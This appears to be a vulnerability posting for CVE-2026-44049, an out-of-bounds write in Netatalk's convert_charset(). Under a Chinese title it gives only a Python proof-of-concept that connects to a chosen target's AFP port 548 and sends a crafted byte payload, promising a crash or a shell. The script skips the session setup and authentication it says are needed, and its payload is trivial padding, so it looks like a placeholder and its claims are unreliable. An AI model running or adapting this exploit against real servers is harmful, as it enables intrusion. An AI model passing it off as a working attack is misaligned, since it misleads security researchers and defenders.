CVE-2026-44049 Netatalk越界写入致代码执行漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-44049 (Netatalk Out-of-Bounds Write) This script demonstrates sending a crafted payload to trigger the vulnerability in convert_charset(). Note: Authentication is required (PR:L). """ import socket import sys def send_exploit(target_ip, target_port=548): # AFP uses port 548 by default # The payload is designed to trigger the null termination issue # Specific bytes may vary depending on the charset configuration. # Crafted character sequence to bypass null termination checks malicious_payload = b"\x00" * 64 # Padding malicious_payload += b"\xff\xfe\x00\x00" # Malformed unicode/charset data try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real scenario, AFP session establishment (DSIOpenSession) is needed first # followed by authentication. This payload assumes the context is set. print(f"[*] Sending payload to trigger out-of-bounds write...") s.send(malicious_payload) response = s.recv(1024) print(f"[*] Received response. Check target for crash or shell.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <TARGET_IP>") sys.exit(1) send_exploit(sys.argv[1])